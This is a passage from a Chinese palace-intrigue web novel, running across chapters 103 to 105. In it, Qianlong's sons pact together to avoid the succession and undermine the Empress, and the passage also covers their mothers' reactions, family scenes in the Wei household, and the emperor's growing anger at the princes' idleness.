这赌的就是对兄弟的信心,若是哪日有兄弟背叛他们,这事也就不成了。 但是,每一个阿哥都眼神坚定。 永璜道:“我就不用多说了,我早被皇阿玛放弃了,我只想我福晋孩子好好的,偶尔跟你们八个兄弟喝酒聊天,就别无遗憾了,我这辈子有兄弟妻儿,足矣。” 永璋第二个发言,他被整得最厉害,自然不会跟皇后善罢甘休,“我别的不多说,若是让皇后一辈子觉得我好欺负,我死不瞑目。” 永珹还在听三哥发话,但不知何时兄弟目光全汇集到他身上了。 他指了指自己,“啊?我?我也要说吗?” 永瑆催促道:“四哥,快点说完轮到五哥。” 永珹摸了摸鼻子,还真按照兄弟们序齿来讲啊,“既然你们要我说,那我就简单说两句吧,皇后还没算计到我,扳倒皇后也省得日后提心吊胆了。” 永琪道:“若是有可能,我必然盼着皇阿玛重视我,只是当作继承人重视就没必要了,我只想给我额娘争光。” 他心里想到,当皇帝听着挺好听的,但是他真的不愿意跟他兄弟闹不和,而且如果有一天他会像皇阿玛防着皇玛嬷那样防着额娘,他枉为人子。 他想当权臣,或是皇阿玛的左膀右臂,能力越强,他额娘的脸面就越好看,为了当皇帝背叛自己兄弟,那没必要。 永瑢打了个哈欠,“我没什么好说的,要是你们不争,天塌了我都不理。” 永琮眨巴眨巴眼睛,笑道:“我跟九弟估计不被皇额娘放在心上了,犯不着担心她,只是,这事也是我最先不甘,缘何皇后能算计我们,即便她贵为国母,我还是皇阿玛的儿子呢。” 第103章 第103章第二更 永璇道:“你们信我一回,我肯定守口如瓶!” 永璐耸耸肩,“七哥想怎么做,我都随七哥。” 但是,他们两兄弟中可以有一人冲在最前面,跟在后面的人得顾全大局,不能让额娘接受两个儿子同时出事的事实。 轮到永瑆时,这小孩摩拳擦掌,准备郑重其事宣布自己的感言时,被永璐一巴掌搭在他头顶,“九哥?” “嗯。”永璐应着,同时不忘使劲将站着的弟弟压下去,“好了,小孩子别说话了,听哥哥们吩咐就好。” 永瑆顿时气得嗷嗷叫,“九哥,你真不讲理!” “嗯。”永璐敷衍应着,其他兄弟见此,纷纷笑了起来。 最终兄弟们还是让永瑆发表了长篇大论。 永瑆骄傲地挺起胸膛,从这头的兄长讲到那一头的兄长,将每个神采奕奕的兄长讲得耳朵磨出了茧子,对上谁,他都是弟弟,但是谁对上他,都神色颓废恨不得没有他这个弟弟。 兄长们的兄弟爱终究是让永瑆辜负了。 …… 等阿哥们各回各家,去给自家额娘请安时,看到的是额娘似笑非笑的眼神。 永瑢还是一副死猪不怕开水烫的模样,永璋惊了惊,问道:“额娘,您等了我们很久吗?” 纯妃冷笑,“那还用说,你们这几日天天出宫,不知道的还以为宫外有神妃仙子还是绝世倾城的佳人。” “额娘,您这么说儿子还好,您这话对上永瑢,那就对不住人家女儿家了。” 永瑢有气无力道:“三哥,你以为你有多好吗?” 永璋给了他一个眼神‘给爷闭嘴’,便继续全心全意哄额娘了,“再说了,儿子本来就是住在宫外的,往宫外跑很正常,总是往宫里跑,那才不正常了。” 纯妃摆出一副‘你说,你继续说下去’的模样,永璋心里大喊不妙,这回额娘怎么这么难敷衍过去了。 他后背冷汗淋漓,绞尽脑汁才想来一个非常勉强的借口,“是六弟!六弟他喜欢上了致美斋的饭菜,就天天央求哥哥我带他出宫,额娘,我也是没了办法,您也知道六弟一旦对一样东西痴迷了,在他兴趣未淡之前,咱们谁都拉不住他。” 永瑢原本懒散的神色在听到三哥诋毁他的话时,瞬间绷紧,“三哥!你不要胡说八道!” 他平生最爱甜奶茶,次爱果茶,那外边的东西能勾得住他?三哥纯属污蔑人。 “你才胡说八道!”永璋给了他一个眼神‘你要是不能帮我,那就别叽叽歪歪’,“额娘,儿子也是没了办法,难不成一个爱护弟弟的哥哥必然会受这世间一切的误解和苛待吗?” 怒了怒了! 永璋这家伙在说什么蠢话!永瑢拳头捏紧、在捏紧,骨头发出“咔咔”作响的声音,一拳头朝自己三哥脸上挥去,他的直觉告诉他,再让三哥说下去,他的名声将要毁于一旦。 如果让永璋知道他的心声,必然会大声骂道:你有名声这种东西吗? 纯妃的责问止于两兄弟肉搏战,她看着两个儿子专门往对方脸上招待,她有些麻了,她似是明白嘉妃说的‘兄弟间打是亲骂是爱’是什么感觉了。 “本宫头好晕啊。” 她扶着太阳穴,两眼一闭,被其他奴才搀扶回屋了。 …… 嘉妃皱眉看着哥俩好勾肩搭背,不管看多少次,她都觉得不忍直视。 永珹矮下大半身子供永瑆勾肩,这走起路来多别扭啊,而且两兄弟每次都闹不和,永珹生气永瑆每次都拿他东西,永瑆觉得永珹总是喜欢捉弄自己这个弟弟,所以他才要拿永珹东西。 两兄弟争个没完没了,她习惯了他们兄弟俩一见面就闹闹闹。 现在这副兄友弟恭模样,她看着好头疼啊,连质问的心思都没了,太伤眼睛了,实在是太伤眼睛了,怎么会有看着这么难受的画面出现在她眼前。 她甩了甩脑袋,说出了以往对上兄弟俩时下意识会说的话,“你们兄弟俩要闹就回去闹,别在额娘面前做这等上不得台面之事。” “啊?”永瑆傻眼了,“四哥,我们兄弟做啥上不得台面的事了?” 永珹也摸不着脑袋,“爷不知道,或许是额娘在哪受了气找我们兄弟发泄吧。” “是这样吗?那小爷作为额娘最亲最疼的儿子,肯定要去安慰额娘了。”永瑆很快缩起搭在兄长背上的手,抬头挺胸背着手,像鸭子迈步般雄赳赳走进屋里了。 永珹:…… 有时候真不想承认这个傻气的兄弟是他的同母弟弟。 这样不就显得他在其他兄弟心里也是个傻的吗? …… 永璇对上慧妃,只有一个结果,母子俩四目相对,只剩沉默。 永璇快言快语道:“额娘一定觉得儿子有事瞒着您,但是儿子已经长大了,额娘也该少操心了,儿子盼着额娘无忧无虑,不必为儿子操心。” 他一口气说完这话都不带喘的。 “既然额娘没有事情吩咐,那儿子就告退了。” “站住——”慧妃叫住他了。 永璇深吸一口气,转过身去,“额娘还有什么事吩咐?” 慧妃淡淡地看着他,“抄书吧,什么时候愿意告诉额娘,就停下抄书。” 她这辈子最厌恶永璇逃脱她掌控,永璇做出这等大逆不道之事,必然要受罚。 “是,额娘。”永璇脸色很快冷下来。 只一瞬又恢复成温和模样,老嬷嬷担心地跟在他身后。 慧妃恨不得将两人分开,永璇是她儿子!何至于让一个低贱的奴才担心! 她有何资格! …… 愉嫔和自己儿子面对面。 见永琪僵住了,轻轻叹了口气,倒不为难儿子了,永琪惯来听话懂事,如果他不愿说的,那肯定是说不了的。 “你既然跟你兄弟感情好,便好好跟他们相处。” “儿子知道了,额娘。”永琪点头。 …… 永琮和永璐两兄弟兴高采烈回到储秀宫时,额娘面色如常跟他们有说有笑,还夸他们出去一趟记得给妹妹们买玩具小食。 两兄弟被夸得胸膛高高挺起,永琮完全失了在其他兄弟面前的高冷范儿,“额娘,儿子还打算过几日带和静和恪出宫。” 永琮心里斟酌着,额娘肯定会发现他的动静,总是带上永璐并不好,带上两位妹妹就不一样了,妹妹天真好糊弄,带妹妹们走一边流程后,额娘肯定不会觉得他在搞事。 “和静和恪过来。”魏紫菀朝两个女儿挥了下手,两个小女孩立马小跑过来了,“额娘~” 声音百转千回,永琮忍不住摸了下自己胳膊,鸡皮疙瘩都起来了,以前和静和恪也不这么叫额娘的啊,啥时候这样腻歪了。 “你们七哥说想带你们出宫玩。” “好啊!”和静声音兴奋,“我还想见小舅舅和表姐表弟。” 和恪看了眼七哥,觉得七哥奇奇怪怪的,平时想带她们出宫就直接出宫不就好了,跟额娘说一声就显得画蛇添足了,七哥莫不是有其他目的吧。 她深深为此感到忧虑,作为妹妹要考虑的事情真的好多哦,特别是她还要照顾姐姐。 永璐忍不住拍了下哥哥的肩膀,“七哥。” 他怕七哥说得越多破绽越多,七哥难道没发现额娘已经好久没说话了吗? 永琮还在跟和静说话,被弟弟一拍,下意识顺着他视线看过去,“额娘,怎么了吗?” 魏紫菀幽幽地叹了口气,她这个儿子以为自己能瞒天过海吗? 她直接问道:“到底瞒了额娘什么事?是绝对不能跟额娘说的大事?还是单纯想保密的小事?” 永琮抿平嘴唇,“额娘,事关兄弟们,我不能说。” “那好,既然你心里有分寸,那额娘就不管你了,你们兄弟俩都一个脾性,也不知道是学了谁的。” 看永琮永璐模样,这事虽然不小,但应该不会牵连到两兄弟和储秀宫,既然是可控的大事,那她还是给两个儿子一点空间吧,她还省得做被孩子们埋怨的额娘。 “额娘,儿子就知道您最好啦。” 魏紫菀伸出手指点了点他额头,“少说这种敷衍额娘的话吧,多办实事,少说空话。” 永琮笑了笑,没有躲开额娘的‘指指点点’。 “还有你,永璐,你有时别那么听你七哥说的话,他什么本事你从小和他一起长大,你还看不明白?” “额娘,儿子当然明白了。”永璐挽着额娘手臂,还似幼时撒娇,“七哥肯定是厉害的,您养出来的儿子,您还不信?” 第104章 第104章二合一 “好啊你,都能反问额娘了。”魏紫菀笑道,“别的不说,你们别做出让额娘操心的事就好。” 平平安安、顺遂一生,就是她对孩子最大的期望了。 …… 皇子们齐心协力的不争皇位表现为万事都奔着当一个闲臣去。 好几个皇子找帝王表示自己想调到礼部去,乾隆一头雾水,以为这些儿子是在胡说八道,第一回没有理会,但第二第三回态度坚决,他将他们骂退下了,派人去查皇子们发生何事了。 结果什么事都没发生。 但他这些儿子的举动让他心里泛起嘀咕,这一个二个的,不争着上进,反倒推脱差事,不像话。 皇子阿哥们的集体摆烂也让大臣们看在眼里,议论纷纷。 作为七皇子和九皇子小舅舅的魏德馨被大臣拉着打听了不知多少回,每次的回答不是‘我不知道’,就是‘皇子阿哥们的事你也敢打听,将天家尊严放于何处’。 总而言之就是各种借口都来一打,不正面回答这事—— 在大臣们眼中,这魏德馨着实可恶极了,说话都这般不中听,哪怕是透露一两句话让他们明白朝中风向也好,怎么瞒得这样紧,皇子阿哥们到底发生何事了? 不光是魏德馨这一人被问,魏府上下都被人打听了,还有慧妃娘家高氏一族、纯妃娘家苏氏一族、嘉妃娘家金氏一族、愉嫔娘家珂里叶特氏一族,无一例外,也被打听了。 但所有人的回答就是不知道,也一样被臣子们腹诽,着实可恶。 可问题是以魏德馨为代表的众多妃子娘家人确实都不知道。 魏德馨这几日去当值时还特地避开了跟老熟人聚在一起。 他夫人戴佳氏笑话他:“娘娘没说什么,阿哥公主们也没说你,你就随便敷衍几句,又有谁会当真?” 魏德馨振振有词,“我这是为了娘娘好,不管从我口中说出什么,在他们眼里都是代表了娘娘的意思,我怎好胡说八道。” 戴佳氏笑道:“你说得确实有理,就是不知道你这样能撑多久了,你明摆着不理会他们就行了,还这样避开,别人看了准以为你瞒着什么,对你追得更紧了。” 魏德馨故作没听见夫人对他的嘲笑。 等他一走,戴佳氏便跟大嫂宋氏和二嫂陈氏放肆大笑,笑到腰身直不起来,戴佳氏仍笑个不停,宋氏和陈氏已经停下来了。 宋氏作为大嫂稳稳扶助她身子,“好了好了,别笑了,你还怀着身孕,要是伤着孩子就不好了。” “这有啥。”戴佳氏还蹦了一下以示自己身体好,看得二嫂脸色微变,板起脸来,“都说了不许乱动,这对孩子不好。” “弟妹知道了。”戴佳氏脸上带着笑意,满是爱怜摸了下肚子。 七阿哥说宫里娘娘觉得她这胎很有可能是个女儿,她也这么觉得,这个女儿在娘胎起必然是跟她一样性子欢快好动的。 她忍不住感叹道:“魏家人都是极其好看的,要是我能生一个像娘娘的女儿就好了。” “这个是能盼盼,但是希望不大。” 作为有女儿的大嫂,宋氏摇了摇头,“我女儿容貌虽好,但也只是魏氏女子中的上佳容貌,绝无可能跟娘娘的月华之姿相比。” 二嫂陈氏想起自己前不久生下的小女儿,也摇了摇头,“我看我的小女儿模样虽惹人爱,但像娘娘那样的,我估计魏家这百年来,也就娘娘一个人能有了。” 戴佳氏也不失望,“反正算上我肚子里这个,咱们魏家这一代就三个女孩儿了,算上儿子也就六个孩子,大嫂你一儿一女,二嫂你两儿一女,等到我生下肚子里这个,再怀上一个儿子,满打满算有七个孩子已是不错,魏家子嗣不丰,有就好,我也不十分期待孩子有娘娘或是七阿哥的模样。” 两位嫂嫂纷纷笑了起来,“你倒是想,像娘娘或是七阿哥的模样,那是祖宗八辈子修来的福气。” 不知谁笑着笑着突然说了一句,“这样的容貌,也就只能出现在皇家了。” 大嫂微微叹了声,“咱们魏家的日子越过越好了,我这心里却总不是滋味,人人都道宫里娘娘那是进宫享清福的,可我清楚,没有娘娘也就没有我们如今的魏家,只是我们魏家无论男儿还是女儿,都是只娶一人或是只嫁一人,再不济也是正头娘子的身份。” 二嫂挺直的腰杆子也弯下不少,“大嫂,不必多说了,这些事过去就过去了,当心隔墙有耳。” 她们当年都在庆幸小妹能进宫当妃子,对于当时的魏家而言,能为天子妃是小妹最好的选择,何况当时也容不得小妹选择,小妹成为妃子后,她们魏家总算能缓一口气。 可是随着魏家越过越好,她们想起旧事,心里难受极了,若是小妹能嫁给一个待她一心一意的男子就好了。 以小妹的容色,想要笼络住一个男子一辈子不对她变心,并不难,可是如今却深陷皇宫中,不得出来。 尽管没人怪她们,可她们总会自责。 戴佳氏在旁听着沉默不语。 她知道嫂嫂们是明事理的人,必然清楚娘娘进宫对魏氏一族有多少好处,承了天子恩怎敢说这等忘恩负义的话,可正是因为她们明白,也还不了从皇家得到的好处,在此刻说出的过往事就显得那样的无能。 越是无能为力,便越是自责。 戴佳氏清楚,她们不是不明白,只是心里太过想念娘娘了,想念魏家这代人的团聚,但只要娘娘在宫里的一日,魏家上下就永远不可能齐聚一堂。 她们只是在幻想当初娘娘如果嫁给寻常男子,这时候是不是会跟她们这些嫂嫂弟妹有说有笑的,互相带着孩子,逗着、笑着、嬉戏着,有无穷无尽的乐趣和欢喜。 但这是不可能之事,越是不可能,就越是无言以对,满心愧疚和无能。 …… 魏德馨的动作果然引来了更多人打探,不管是灌酒还是攀关系 ,没人能从他口中知道任何皇家事,倒是他自己的烂事说了一大堆。 像是他平日里捉弄自己侄子侄女,没个当长辈模样,又像是他不胜酒力,每每有人给他敬酒,他都拿清水来挡,只是在杯口抹了点酒,让酒味散出,以防有人看穿他的把戏。 因此他在侍卫当中从来都有着千杯不醉的说法,这谎言被戳穿,便引得其他人哈哈大笑,笑个不停,也就没人继续深究下去了。 魏德馨都醉成这样,将这样的荒诞事都讲出来了,即便如此对皇子阿哥们的事仍旧是一问三不知,可见他确确实实什么都不知。 他们再打听下去估计还是一样的结果,没意思,还是拿这等荒诞事打趣魏德馨最有意思。 魏德馨酒醒之后对上同僚各种打趣的眼神和话语,一时间羞红了脸,简直没脸见人,还是他那些同僚怕逗他太过,让他急了眼,便各种安抚他,才让他一颗心镇定下来,不再回想自己敷衍人的把戏被自己和同僚说破是件多羞人的事。 等到人群散去后,魏德馨一副哀哀戚戚的模样脸面耷拉打道回府,等一回到自己屋里,脸色陡然一变,美滋滋拿出房里珍藏的美酒,一口半坛子,这哪有他自己说的不胜酒力。 这摆明是给众人做了一场戏,让他们深信不疑。 他给自己哼了首曲儿,越喝越精神,一点都没醉,腰身挺直,就差没在地上翻好几个筋斗,他这样子要是说‘不胜酒力’,那是世间就没有‘不胜酒力’的人了,那得一大堆‘沾酒必倒’之人了。 通常对于这样的人,有一种特定的称呼能送给他们。 ‘半杯倒’、‘一杯倒’或是更惹人笑话的‘一滴倒’。 戴佳氏在房外便闻到了酒味,走进房里,早就听说他闹出来的笑话了,忍不住笑道:“你可得节制些,别让旁人闻到酒味。” “你男人办事你得放心。”魏德馨拍了拍胸膛,满脸骄傲,“今日总算能摆脱他们了。” “是是是,我没想到你早就想到了办法,亏我还觉得你鬼鬼祟祟的样子更招人在意。”戴佳氏坐下来,也给自己倒了一杯酒,“我也来尝尝什么味道。” “别喝,这对孩子不好。” “无碍,我先前也尝了一点,只要喝得不多,我估计这孩子应该很乐意尝尝酒的味道。” 戴佳氏说是这么说,她给自己倒上的是不伤身的米酒,魏德馨正是看穿这点才不继续阻拦她。 戴佳氏笑了笑,“爷,你可想好这孩子出生后,咱们一家子要怎么样?” 他们这一家虽和大哥大嫂、二哥二嫂为一大家子,不分你我,但是在前途一事上,能帮上自己的终究只有自己,她和爷拼搏来的家业将来只有他们孩子能继承。 魏德馨想了想,“我听说傅恒大人也是跟我一样是蓝翎侍卫出身,只是我这出身远远不如他的,想要跟他走上相同的路很难,他那是位极人臣,娘娘可不盼着我这样来。” 他知道自己脑子不够聪明,凡事只听姐姐的就是。 “万岁爷对他看重的臣子十分看重,但若是那臣子做不成他想要的事,到时候数罪重罚,无一偏袒,我不怕拼这一回,但我不愿姐姐担心,我也不可能抛下你们母女俩不管,就慢慢当着侍卫吧,迟早有一日当上一等侍卫,那时候,你作为我夫人,我才不给你和孩子丢脸。” “爷说的这是什么话,我们夫妻俩不管把日子过成什么样,只要团结一心,便是再难熬的日子,我都觉得满心欢喜,日日期盼。” 戴佳氏抓着他的手,声音温温软软,却透着股坚定的力气。 只要夫妻俩一心一意,她心甘情愿。 她喜欢魏家的不纳妾、一生只有一双人,喜欢魏家能同甘共苦的家风,喜欢魏家的爹娘、哥哥嫂嫂、侄子侄女,她还喜欢宫里的娘娘,喜欢娘娘所出的三个儿女,也喜欢九阿哥这个身上没有流着魏家血却有着魏家习性的外甥。 她盼着将来生下一双魏家儿女,有着从爷身上继承来的魏家人习性,还加上她戴佳氏的精明城府,她会很喜欢这样的孩子的,不光因为孩子是从她肚子里生下来的骨血。 她天生就该是魏家人! 魏德馨心里动容,越发坚定了要远离朝廷的心思。 如今姐姐和外甥都不愿挨着那个位置了,可见那位置他们魏家人都不该有任何想法,他如今能做到的就是极力配合宫里的姐姐外甥。 …… 乾清宫,“到底怎么回事,查了这么久什么都查不到,都是废物!” 乾隆勃然大怒,儿子们齐心协力的不上进让他不知如何应对。 毕竟皇子们的不上进,放在皇家无疑是个笑话。 当年弘昼即便再放浪形骸,他对四书五经倒背如流,分配给他的差事哪次不是完成得极好。 皇子们一天两天这样,乾隆只当他们想休息,还特地将他们那部分差事都分配给其他臣子了,但是这一连半个月都是这样,他心里压下怒火,只觉得他们是休息不够,特地给他们放半个月假。 可他们休息回来后反而变得更懒散了,无一例外,只除了他的嫡子永璂。 他们这般懒散不上进,莫不是以为他这个皇阿玛什么都不会做。 他是查不出发生何事了,但他要是看不出他们是故意而为的,那才枉费他登基数十年的帝王生涯。 “吩咐下去,若是他们再这样下去,朕就夺了他们爵位!” 乾隆眼神阴沉,第一回是警告,但第二回,就绝不止是警告那么简单了。 而在阿哥所齐聚的皇子们听闻这个消息。 永瑢耸了耸肩,不当一回事,继续给兄长弟弟们倒奶茶,美其名曰是他新研究的奶茶。 兄弟们给面子端起来尝了口。 永璋惊异道:“还不错啊,没有那么甜腻了,味道不错。” 其他兄弟纷纷夸赞,“还不错。”“可以。”“不腻。”“不甜。” 各种夸赞的话语让永瑢不自觉挺直了胸膛,“我特地向贵额娘讨教过了。” 永璐若有所思,“难怪这阵子你老是往储秀宫跑了,原来是找额娘研究奶茶。” 永琮笑道:“估计不止是商量奶茶之事吧。” 永瑢点头,“当然,我怎么可能因为这种小事老是劳烦贵额娘,我跟贵额娘讨教怎么开门面,还有婉嫔娘娘和颖贵人每隔半个月总会店面上新,她们经验丰富,我学了不少事,估计你们再过一阵子就能看到我在雍和宫附近开的奶茶店了。” “六弟你可真是闷声办大事。”永璜惊异,但满脸支持,“好,那等你开店那日,我们兄弟几个都去撑场。” 永瑢点点头,丝毫没有谦虚的心思。 他奶茶店面向的是贵族子弟,如同贵额娘的唐卡店面向的是命妇们,反正没银子也没法买唐卡,又不是专坑平民百姓,不然他特地将奶茶店开在雍和宫附近也就没意思了。 当然,就算大哥不这么说,他也得在开店那日将兄弟们都叫过来,这样其他别有用心的臣子 都会往他店里挤,利用他们做成第一波生意,简直是绝妙的想法。 永琮想了想,“你要是有些事摆平不了,找五叔吧,不过要是五叔答应得太痛快或是支支梧梧半天,你别理会他,他肯定会告诉皇阿玛一声的,这皇城底下的新鲜事都瞒不过皇阿玛。” 当年五叔就是在皇阿玛的默许下帮额娘做成生意的,有一就有二,想必五叔一定不吝啬帮自己的亲侄子吧。 “好。”永瑢点头,没问他为什么,反正是兄弟总不能坑他。 永琪喝了奶茶,给兄弟们都倒了杯茶清清嗓子,他姿势端正,眉目轻敛,单看气质,确实配得上美男子的说法。 他感叹道:“我难得这么轻松,不看书不练字不学无术。” “哈哈哈哈哈哈。”永珹被他这话逗笑了,拍了他肩膀好几下,“你这就算不学无术了?还远着呢,你得看看永瑆。” 永珹也算是无时无刻想着坑弟了。 正在偷偷摸摸把永璇辫子涂上墨水的永瑆被众人一看,浑身僵住了,抬头笑了笑,伸出手指在嘴唇比划了一下,又做了下双掌合拢祈祷状,盼着兄弟们别当场揭穿他,不然他今天必然得脱一层皮! 但这事不是他祈祷就有用的,就算兄弟们不吭声,但那齐齐射过来的眼神足以让永璇感觉如芒在背,但他向左右看去,没发现有什么不对劲。 只是多次被捉弄的直觉让他意识到一个大问题,永瑆这小子去了哪儿?! 他猛地一回头,就看到了拿着沾墨的毛笔、强颜欢笑、正在慢慢地、慢慢地往后退的永瑆。 他看了眼永瑆,看了眼他沾满墨水的毛笔。 立马将手伸到身后摸了摸,果然摸到一抹墨痕。 有兄弟在旁轻声透底,“永璇,是你的辫子。” 辫子?永璇慢慢将辫子举到身前,果然,辫子尾正滴着一滴滴的墨水,这墨水滑落滴到他腿上、手上。 “呵呵。”永璇脸上表情不知何时变得阴深之极,一蹦三尺高,“永瑆!你这个逆弟!我非得好好教训你,你别跑,你滚到我面前,你再跑试试看!你再跑我就扒了你的皮!” “你让我不跑我就不跑啊,你这样我还不跑我不就成了傻的!我不跑你也一样要扒了我的皮,我还任由你扒皮啊!” 在永璇抓着辫子时,永瑆就果断撒丫子往外跑了。 兄弟们再一次看到了‘兄弟情深’的一幕,由于上次永瑆发表个人感想废话太多,兄弟们这次一致决定不帮他。 永琮还犹豫道:“永璇手上没点东西,怕是追不上永瑆吧。” 永璐拍了拍胸膛,引来兄弟侧目。 “七哥放心,我在门口放了根木棍,必然方便八哥训弟。” 听到这话,兄弟们都放心下来了。 永璋招呼道:“来来来,咱们继续喝奶茶,难得六弟弄出这么合口味的奶茶。” 永瑢瞥了他一眼,从齿缝里逼出一句话:“‘难得’是多余的。” 永琮提起一事,“贵玛嬷太久没看到你们了,过些时候你们随我去给贵玛嬷请安吧。” 兄弟们点头。 永琪说:“明儿咱们兄弟要不要出宫一趟?” “嗯,以皇阿玛最近的脾气,建议不要。”永珹坦诚道。 “那就不要了。” 永璜感叹道:“就是可怜我那两个儿子,年纪轻轻就得随我这个阿玛当光头阿哥了。” 永珹咧嘴一笑:“这又何妨,咱们都是光头阿哥,谁又比谁高贵。” 永琮淡淡道:“难得从你口中说出这么有良心的话。” “呵,‘难得’是多余的。” 兄弟七个品完了奶茶再品茶,有人趁兴拿来了酒水,兄弟们喝得热烈,但是等到午后午睡时,此时永璇永瑆追赶之事终于落下帷幕,作为被追上的代价,永瑆脸上画满了王八,背上还贴着张画着王八的纸,两兄弟都累瘫在椅子上。 而七兄弟瞪大眼睛。 老大费解,“为什么我现在还不困,这么精神,我算过了,我喝的茶不多啊。” 老三也费解,但他终究对同母兄弟有着非同一般的深刻理解,他突然问道:“老六,你这奶茶放了多少茶。” 永瑢不紧不慢,淡淡道:“不多,就平时你喝十天才能喝完的茶叶。” “你这还叫不多!” 兄弟们都蹦起来找老六算账了,但老六早就懒懒躺下来了,还嘲讽道:“费这个劲干什么,有蹦起来的力气,不如躺下来,咱们兄弟有多久没一起睡了。” “这话有点道理,咱们确实是好久没一块儿睡了,不如趁着今日的好日子,大伙都挤在一起睡吧。” 老大的提议深得人心,于是兄弟们齐心协力从别的屋里搬来床,合并在一起。 永璐忍不住吐槽:“咱们兄弟根本就没一起睡过好吗?说得咱们好像是睡过一样。” 永珹敷衍道:“这不重要,九弟你怎么总是斤斤计较这种小事。” 永璐为自己辩解:“什么叫斤斤计较,我这是陈述事实。” “知道了知道了。”永珹这副回话态度也够让人气恼的。 永琮拍了拍九弟肩膀,让九弟后退一步。 永琮顶着自己弟弟期待的眼神一把揽住四哥脖子,“四哥,待会咱们睡一块咋样?” 永珹脖子被勒得有些难受,拍了拍兄弟肩膀让他松下手劲,然后猛地将七弟和九弟一左一右揽着,“好弟弟,那就一块儿睡吧。” 他说着不忘朝兄弟们提醒一句,“睡大通铺也分身边睡的是谁,你们早早商量好了啊,我跟七弟九弟一块儿睡!” 永瑆举起小手,大声嚷嚷,“那我要睡在七哥旁边。” “睡在七哥旁边的是我才对,你休得胡言乱语!”永璇有气无力,但即便累成这样了,还是极力表达自己的诉求,同时心里十分不理解,他比永瑆大,个头比永瑆高,为什么他都累成这样了,永瑆说话中气十足! 他不理解! 永璐瞪大眼睛,不是,他怎么无缘无故就跟四哥一块睡了,七哥旁边的位置不该是他吗? 秉着兄弟情分,永璐最终还是屈服在四哥旁边了。 按照大通铺的排位是这样的: 大阿哥永璜、三阿哥永璋、十一阿哥永瑆、七阿哥永琮、四阿哥永珹、九阿哥永璐、八阿哥永璇、五阿哥永琪、六阿哥永瑢。 真真正正的九子睡大通铺。 他们喝了奶茶,最终沉沉睡去的只有一大早耗费了体力的永瑆和永璇。 其他兄弟大眼瞪小眼。 永珹忍不住嘀咕:“永瑢,你给哥几个喝的奶茶是不是太厉害了。” 永瑢用自己过来人的经验深沉道:“不光如此,等晚上时,你会瞪着双眼睛直到天明。” “这么厉害?!”兄弟们都被吓着了。 “习惯了就好。”永瑢打了个哈欠,沉沉入睡。 其他人看了不可置信,“他这么快就睡着了?怪不得他不介意这时候喝奶茶了,原来是奶茶影响不到他。” 这时候永琮也淡淡来了句,“习惯就好。” 说罢,他也闭上眼睛睡下了。 永璐在睡之前为七哥和自己解释了一句,“我们俩兄弟不爱喝甜奶茶,但是额娘经常给我们弄咸奶茶,喝多了就不会睡不着了。” 所以到头来清醒的人有老大、老三、老四、老五这四个兄弟。 其中老四和老五最为折磨,他们身边都是沉沉入睡的兄弟,唯有自己,瞪着双眼睛,还得注意不让自己的动作吵醒兄弟们。 永珹真心提议道:“大哥,你力气最大,你干脆一巴掌将我拍晕吧。” “想得美,我拍晕你了,谁来拍晕我。” 永琪幽幽道:“哥哥们,不如我们兄弟四人将他们叫醒,让他们拍晕我们?” 永璋真诚地抬头看了眼他,夸道:“五弟啊,我记得你一直都很良善的。” “是啊,可是这回看着他们睡得着,就我睡不着,我就觉得,有时候没必要太善良了。” 兄弟四 个嘀咕一会儿,有人突然提起皇阿玛说的削爵一事。 本该最在意爵位为自己额娘争光的永琪道:“这不算大事,兄弟同心其利断金,若是被皇阿玛说一句就放弃一开始下定的决心,我也枉费七弟他们的维护了。” 永璋点头,“你说得对。”他想起被皇阿玛一旨令下抱到娴妃那里的大儿子了。 第105章 第105章出宫 他有时候觉得自己身为皇子阿哥,却活得比谁都糊涂。 不识枕边人,对不住妻子,将亲生孩子让出去,他这一生谁都对不住,不管这次能不能让皇后倒台,他这辈子也算做出一件能让自己抬头挺胸的事了。 他实在太累太累了,累到只有在看到自己兄弟时,才会觉得,啊,原来自己还活着。 “三哥,别多想。”永珹突然道,“有些事不是你的错,你就不要想,想多了只是徒增痛苦。” 只要不想就好了,永珹难得这般忧愁。 永璜这个当大哥的实在看不过眼了,一人一巴掌,“都给爷清醒点,都在想什么?要是还想些没用的,爷将你们扇清醒了。” 他刚说完又拍了两兄弟一巴掌。 永珹小声地抵抗,“大哥,你刚才打了我和三哥肩膀两巴掌。” “所以呢?” “还有一个。”他小声地说。 永璜跟睁着眼睛看戏的永琪对上眼了,又低头看向永珹,“你最好不是在说五弟。” “我就是在说他。” …… 乾隆帝的威胁毫无用处,或者说,也不能说是毫无用处,至少这话没有威胁到皇子,却让皇后隐隐约约感觉到哪儿不对劲了。 皇子们集体不作为,最应该高兴的是她才对,年长的庶子就威胁不到年幼的嫡子了。 可越是这样,她就越觉得不对劲,甚至着手对付永琪的手段都停下了,在宫里谨慎最为重要,她相信自己的直觉。 “永璂,你最近跟你那些兄弟多说说话吧。” 永璂脸色淡淡,“皇额娘,儿臣知道。” 皇后愈发头痛,“你总是知道知道知道,本宫看你什么都不知道,你是身为嫡子,可你的那些兄长们总不能一辈子不靠近你吧。” 不管是登基后的左膀右臂,或是拉拢一方兄弟做自己的势力,不管哪个也好,永璂将来总离不得这些兄弟们。 永璂回想起自己见到兄长们时的场景,无一例外,待他都是警惕和防范,好似他有了一个嫡子身份,就跟他们站不到一处似的。 “皇额娘,儿子光是想也做不到。” 皇后想起自己这个儿子的情形,忍不住叹了口气,也不知道那些庶子是不是意识到什么了,对她的儿子各种疏远,九个人感情好极了,但就是不亲近永璂。 好似回到了很多年前,永琏还在世时,永璜和永璋也不跟永琏亲近,她以为是永琏太过聪慧,两个庶子自惭形秽,可现在看来,不管是聪慧还是迟钝,嫡子和庶子的身份好似天生就在他们面前摆出一道天大的沟壑。 即便圣祖爷的太子爷当了三十多年的皇太子,也不曾跟自己庶出的兄弟这般疏远吧。 她的嫡子还不曾当皇太子,可为何她的庶子却没有一个愿意亲近她的嫡子。 …… 皇子们的不为所动让皇帝脾气愈发暴躁了。 魏紫菀难得提着当归田七炖鸡汤过去乾清宫外。 她寻思两个儿子联合其他皇子干的好事,总不能让帝王火气一直蹭蹭蹭往上涨。 出于各种考虑,她得想办法让皇帝败败火。 她在外刚站了会儿,李玉便请她进去了。 “妾身给万岁爷请安。” “紫菀,起来吧。”皇帝脾气在见到来人时,都消散于无形了。 “是,万岁爷。”魏紫菀坐在他旁边,将提着的食盒打开,“万岁爷,您喝喝这汤,益气补血,您别生气。” “你如何得知朕在生气。” “妾身如何不知了?万岁爷生气也好,高兴也罢,妾身总会看明白的,这回估计是那几个孩子闹的脾气,万岁爷不用理会他们。” “哼,说得容易,他们将事情弄得一塌糊涂,朕三番四次宽待他们,可不见他们对朕这位皇阿玛多想多念。” 